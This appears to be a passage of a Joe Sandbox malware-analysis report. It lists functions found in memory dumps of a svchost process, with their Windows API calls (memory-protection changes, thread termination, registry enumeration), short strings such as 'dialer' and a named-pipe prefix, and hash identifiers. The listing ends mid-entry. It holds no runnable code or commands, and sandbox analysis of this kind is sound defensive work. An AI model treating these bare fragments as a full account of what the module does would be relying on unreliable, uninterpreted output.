Part of subcall function 000001F28C93B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C93B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C93A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C93A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C93A9DA

Strings

csm, xrefs: 000001F28C93A622
csm, xrefs: 000001F28C93A69C
csm, xrefs: 000001F28C93A5BB

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e40025dd339e04ccce31ab42e6e43acdbfcb282d0efd4a44ebad16c513d6860d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 51E17A72640B828AEB209BB598803FD77E0F755BE8F196166EE8957B99CF34C481C701

Function 000001F28C93F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F28C93F510
GetProcAddress.KERNEL32 ref: 000001F28C93F51C

Strings

ext-ms-, xrefs: 000001F28C93F46D
api-ms-, xrefs: 000001F28C93F45A

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 13c93742e32ee18173703abb3e1a129c63d5b1ec7d71d03a5c5f3c659c718adc
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1E41AF72391E82D1EB16CB76A9087F623D1FB49BE0F0962B9DD0A87785EF39C4458314

Function 000001F28C93104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C9310B1
RegEnumValueW.ADVAPI32 ref: 000001F28C931117
GetProcessHeap.KERNEL32 ref: 000001F28C93115A
HeapAlloc.KERNEL32 ref: 000001F28C931168
GetProcessHeap.KERNEL32 ref: 000001F28C931185
HeapFree.KERNEL32 ref: 000001F28C931193

Strings

d, xrefs: 000001F28C9310D6

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: e61549d0980b68c844d3942048ca76a1816c2b656e0948ec105a341f4de0e688
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2D412A72254FC5CAE760CF61E4447EA77E1F389B99F448129DA8907B58EF38C589CB40

Function 000001F28C93D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D087
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0A6
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0CE
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0DF
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0F0

Strings

1%, xrefs: 000001F28C93D0CE
Y%, xrefs: 000001F28C93D0A6

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5dc8ff007fbd2db76a624d83063225198278ec11a387f4125d1c2f12366c8b68
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D2119332794EC782FA68973565613FA62C95B44BF4F1C63F4E839076EADF38C4028200

Function 000001F28C937510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C937538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C93758A
_RTC_Initialize.LIBCMT ref: 000001F28C9375B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C9375DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C937609

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9b580adf4509b41eb4a94773ff5a8102b7ce542dff54e5b26089740a9ad9f4c5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: ED81F771780EC386FB54AB35AA513F922D1AB85BCCF1CA4F5E90987796EB38C845C710

Function 000001F28C939DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F28C939E49
GetLastError.KERNEL32 ref: 000001F28C939E57
LoadLibraryExW.KERNEL32 ref: 000001F28C939E81
FreeLibrary.KERNEL32 ref: 000001F28C939EC7
GetProcAddress.KERNEL32 ref: 000001F28C939ED3

Strings

api-ms-, xrefs: 000001F28C939E69

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03f29b56315fbdb1e2c5d3331ac812390df4fb0cbb8384e9f5da931591f2930e
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9D31A232292E82E1EE219B62A4007F523D4B748BE0F5E6675DD2E0B7D0EF39C5858310

Function 000001F28C943DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F28C943DE5
GetLastError.KERNEL32 ref: 000001F28C943DF1
CloseHandle.KERNEL32 ref: 000001F28C943E09
CreateFileW.KERNEL32 ref: 000001F28C943E34
WriteConsoleW.KERNEL32 ref: 000001F28C943E53

Strings

CONOUT$, xrefs: 000001F28C943E15

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 67fdd3f2f8992466b5831d267c2879e71773b428b435bf4b694825e767cf1671
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 69115B71250E82C6E7508B52E8547B966E0F788FE5F448264EA5E87794DB38C9148740

Function 000001F28C933790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
GetCurrentProcess.KERNEL32 ref: 000001F28C933809
VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

Strings

wr, xrefs: 000001F28C9337FF

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9fd3b5cfc8d5e8966b9d3604d7804b60c4d561f4ad314e44b91f313a0dd5a99b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: BB112A7A745B82C2EB149B22E4082B962A0F748BD5F4841B9DE8D07B54EF3DC545C704

Function 000001F28C935B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B
GetThreadContext.KERNEL32 ref: 000001F28C935CD5

Part of subcall function 000001F28C935960: GetCurrentThreadId.KERNEL32 ref: 000001F28C935964

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 47c5c9812b7ca215d1726492dddbe4c416650bb443fc8a163cb96cfe57a725b8
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: B7D17876248F8981DB709B1AE4943BA77E0F38CBC8F151166EA8D47BA9DF38C551CB00

Function 000001F28C932F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C932F27
HeapAlloc.KERNEL32 ref: 000001F28C932F3A
StrCmpNIW.SHLWAPI ref: 000001F28C932FAF
GetProcessHeap.KERNEL32 ref: 000001F28C933015
HeapFree.KERNEL32 ref: 000001F28C933023

Strings

dialer, xrefs: 000001F28C932FA8

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: b9cea8a45f337747782123fe34ee0897264f1dc14d1d7790dfee48e93a4f475a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FF316C36781F96C2EA55DF26E9407BA67E0FB48BC4F089174DE4847B66EF38C4A18700

Function 000001F28C93CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93CFAF
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93CFE5
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D012
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D023
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D034
SetLastError.KERNEL32 ref: 000001F28C93D04F

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 418adbff46a5a50f38b0b253e874f0d0017697ca07832169e1c80a98fc2d9935
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A8119D31394EC2C2FA24A73169557FA22D66B88BF4F1863B4E836477DAEF3984018600

Function 000001F28C93199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F28C9319C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
lstrlenW.KERNEL32 ref: 000001F28C9319FB
StrCpyW.SHLWAPI ref: 000001F28C931A0E
CloseHandle.KERNEL32 ref: 000001F28C931A1C

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 1a6447b746ba72951b106e25e3206bcaab34f772bbf3986eefe84e7ef40a23b2
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5A012D71344E8282EB64DB62A4587B963E5F788BC5F488075DE4983765DF3CC549C740

Function 000001F28C9336C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C9336E4
GetCurrentProcess.KERNEL32 ref: 000001F28C9336F2
VirtualProtectEx.KERNEL32 ref: 000001F28C933714
GetCurrentProcess.KERNEL32 ref: 000001F28C933732
VirtualProtectEx.KERNEL32 ref: 000001F28C933753
TerminateThread.KERNEL32 ref: 000001F28C933762

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: efc9dd88066c2b846a4813f200c66da5525754cb4ea5464905f9a4518e267477
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 690129B5291F82C2FB249B22E8183B963E0BB49BC6F0844B8CD4E07765EF3DC1488700

Function 000001F28C938FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C939013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C9390A8
RtlUnwindEx.NTDLL ref: 000001F28C9390F7

Strings

f, xrefs: 000001F28C939026
csm, xrefs: 000001F28C93908E

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: f9eb285e1d34bcdb7ed76620ca0307c61ee7c6b0458fb15f7398ffc743cad808
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: A451DF32345A828AEB14CF65E848BB977E6F344BC8F1A91B4DE0653788DB75CA81C700

Function 000001F28C931A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F28C931A60
StrCmpNIW.SHLWAPI ref: 000001F28C931A7A
lstrlenW.KERNEL32 ref: 000001F28C931A89
StrCpyW.SHLWAPI ref: 000001F28C931A9E

Strings

\\?\, xrefs: 000001F28C931A6E

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: efef17bbaea8c09d0e74b7a2858e95e013f6fcdb200dc7db2845cff4b926692d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 71F04F72344EC292EB608F21F8847B967A1F748BC9F889070DA4987964DF3CC68DCB00

Function 000001F28C933044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F28C933066
StrCpyW.SHLWAPI ref: 000001F28C933076
StrCatW.SHLWAPI ref: 000001F28C933082
PathCombineW.SHLWAPI ref: 000001F28C933090

Strings

\\.\pipe\, xrefs: 000001F28C93305C

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 148976000f075657713aaae28a70d927c58dd9bf1c24965bf8e6e3b71b7eca3c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: CBF01275754FC682EA148B53B9141B966A6BB48FD0F08D1B4EE5A47B18DF3CC4458700

Function 000001F28C93BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F28C93BCBD
GetProcAddress.KERNEL32 ref: 000001F28C93BCD3
FreeLibrary.KERNEL32 ref: 000001F28C93BCFA

Strings

mscoree.dll, xrefs: 000001F28C93BCB4
CorExitProcess, xrefs: 000001F28C93BCCC

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: fc48c038c58eca095657e722b28af341116bf169d467f81dd0427d00468570f8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 90F090B1351F8681EB208B29E8443F963A1FB89BE1F5456B9CA6A472E4DF3CC048C340

Function 000001F28C9350D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935156

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 695498e749fc0dccb61c5851ea1446fca79afe24a4ea5175a6ebc953a781018c
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: FE02B536259BC586EB60CB65E4943BAB7E1F3C8794F145065FA8E87BA8DB7CC444CB00

Function 000001F28C935710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935726

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: af79dd3a637af7051ac8258955ba177530c52f0ebe9781b5e5262fa2f630485f
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61B736559E86C6E760CB25E4443BAB7E0F388BC4F5421A5FA8E47BA8DB7CC540CB00

Function 000001F28C1E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C1E352C
_set_statfp.LIBCMT ref: 000001F28C1E3547
_set_statfp.LIBCMT ref: 000001F28C1E3563
_set_statfp.LIBCMT ref: 000001F28C1E359F

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a4a41e1020a2a8b071d84c40f44e8a003d1d22f86d765e777ed5b7e6a37d2a97
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 101191B2AD0F1391FA641528E4C13F91BC16F593F4FC88639E966C73D68BB4C841C200

Function 000001F28C944104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C94412C
_set_statfp.LIBCMT ref: 000001F28C944147
_set_statfp.LIBCMT ref: 000001F28C944163
_set_statfp.LIBCMT ref: 000001F28C94419F

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 18dd3864b1be54540109cc27050939df0162b2e3d2136eb0ccd191d63ff6d6f5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4B117032AD0ED3A2F6685568E8563F911C16B7C3F8F18C6F4E976077E6CB38CA416201

Function 000001F28C939650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93966F
SetLastError.KERNEL32 ref: 000001F28C9396F6

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 7bb4e64f612b34c83592e40eb8d5e89f9ecd63dea6d765824e11e06b7d663cc9
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 26116030786EC382FF549735A8843F922D5AB487E4F0D66B4D926077D9EB38C841C700

Function 000001F28C1DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F28C1DF124

Strings

Tuesday, xrefs: 000001F28C1DF0F4
or copy constructor iterator', xrefs: 000001F28C1DF25A, 000001F28C1DF275
Wednesday, xrefs: 000001F28C1DF1ED

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8ad1ea8264d7c37166e6a84d5d136f736317519dcbce977c15a2e7b39df90729
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 1B61C1766A0E4242FA699B69E5C43FE6EE1E7867C0F544539DB0B077A4DB34FA42C300

Function 000001F28C93AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F28C93AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F28C93AAB7

Strings

RCC, xrefs: 000001F28C93AA85
MOC, xrefs: 000001F28C93AA7C

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f049bdfa4467cedf291596ae25218e3f591c75243dbf1769f2e4c86082fcfec4
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F8614737601A858AEB209FA5D8803FD77E1F344B98F089265EE4A57B99DB38C595C700

Function 000001F28C1DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C1DA288

Strings

csm, xrefs: 000001F28C1DA2DA
csm, xrefs: 000001F28C1DA1C2

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

